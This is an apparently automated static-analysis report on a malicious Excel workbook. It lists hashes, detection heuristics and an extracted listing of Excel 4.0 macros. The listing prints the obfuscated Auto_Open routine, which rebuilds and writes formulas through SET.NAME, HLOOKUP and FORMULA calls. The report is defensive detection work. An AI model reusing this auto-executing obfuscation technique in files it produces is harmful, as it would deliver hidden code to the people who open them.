Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e45093c5690ab2b7…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:33:04 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 48951cda3e59422bf06b6d38f577c667 SHA-1: 760fd34d4eb1b255988a7e48c1f69b9966b77895 SHA-256: e45093c5690ab2b768f42efd867d2f45b76400676ea5ae2a70287e15ec4d48a6
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6502 bytes
SHA-256: c5bf0f322d0b9014559a51d4945ff5bc296e1fe82bc73b69fc3b8b766c7da3e3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  sOQUpoxm
' 0018     20 LABEL : Cell Value, String Constant - APnFh len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F164 
' 0018     24 LABEL : Cell Value, String Constant - CGqJrtECI len=0 
' 0018     25 LABEL : Cell Value, String Constant - EbNXHPvYpw len=0 
' 0018     20 LABEL : Cell Value, String Constant - gTDLA len=0 
' 0018     21 LABEL : Cell Value, String Constant - hbnrtH len=0 
' 0018     21 LABEL : Cell Value, String Constant - Iyupeg len=0 
' 0018     25 LABEL : Cell Value, String Constant - JroKcLWUkb len=0 
' 0018     26 LABEL : Cell Value, String Constant - KrEcrxxeIIm len=0 
' 0018     20 LABEL : Cell Value, String Constant - ksNlo len=0 
' 0018     24 LABEL : Cell Value, String Constant - LtNqJZhNx len=0 
' 0018     21 LABEL : Cell Value, String Constant - nrqMXs len=0 
' 0018     27 LABEL : Cell Value, String Constant - pEhhwIWeVmOR len=0 
' 0018     27 LABEL : Cell Value, String Constant - qMyDNhJYCrSv len=0 
' 0018     22 LABEL : Cell Value, String Constant - Qroksrd len=0 
' 0018     20 LABEL : Cell Value, String Constant - qVqqm len=0 
' 0018     20 LABEL : Cell Value, String Constant - UncmU len=0 
' 0018     21 LABEL : Cell Value, String Constant - VUZjlN len=0 
' 0018     24 LABEL : Cell Value, String Constant - vvGNbLPqI len=0 
' 0018     24 LABEL : Cell Value, String Constant - zJUUghqWl len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZUxuJRERNtV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  sOQUpoxm,F72,"SET.NAME("EbNXHPvYpw",VALUE("0"))",""
'  sOQUpoxm,F75,"SET.NAME("UncmU",EbNXHPvYpw)",""
'  sOQUpoxm,F79,"SET.NAME("zJUUghqWl",EbNXHPvYpw)",""
'  sOQUpoxm,F84,"SET.NAME("Iyupeg",COUNTA(nrqMXs))",""
'  sOQUpoxm,F86,"SET.NAME("qMyDNhJYCrSv",COUNTA(hbnrtH))",""
'  sOQUpoxm,F89,[],""
'  sOQUpoxm,F91,"SET.NAME("ksNlo","")",""
'  sOQUpoxm,F96,"UncmU",""
'  sOQUpoxm,F100,"SET.NAME("APnFh",HLOOKUP("*",nrqMXs,UncmU,FALSE))",""
'  sOQUpoxm,F102,"Qroksrd",""
'  sOQUpoxm,F106,"SET.NAME("JroKcLWUkb",EbNXHPvYpw)",""
'  sOQUpoxm,F111,[],""
'  sOQUpoxm,F113,"JroKcLWUkb",""
'  sOQUpoxm,F118,"pEhhwIWeVmOR",""
'  sOQUpoxm,F122,"gTDLA",""
'  sOQUpoxm,F124,"LtNqJZhNx",""
'  sOQUpoxm,F128,"SET.NAME("ZUxuJRERNtV",VALUE(HLOOKUP("*",hbnrtH,LtNqJZhNx,FALSE)))",""
'  sOQUpoxm,F130,"VUZjlN",""
'  sOQUpoxm,F134,"ksNlo",""
'  sOQUpoxm,F139,"zJUUghqWl",""
'  sOQUpoxm,F144,NEXT(),""
'  sOQUpoxm,F146,"qVqqm",""
'  sOQUpoxm,F150,"SET.NAME("f",INT(T(FORMULA(T(ksNlo)&"",""&T(qVqqm)))))",""
'  sOQUpoxm,F154,"CGqJrtECI",""
'  sOQUpoxm,F157,NEXT(),""
'  sOQUpoxm,F162,RETURN(),""
'  sOQUpoxm,F187,"SET.NAME("KrEcrxxeIIm",F72)",""
'  sOQUpoxm,F190,"nrqMXs",""
'  sOQUpoxm,F193,"SET.NAME("hbnrtH",R79C13)",""
'  sOQUpoxm,F195,"SET.NAME("CGqJrtECI",203)",""
'  sOQUpoxm,F198,"SET.NAME("vvGNbLPqI",6)",""
'  sOQUpoxm,F202,KrEcrxxeIIm(),""
'  sOQUpoxm,F203,HALT(),""

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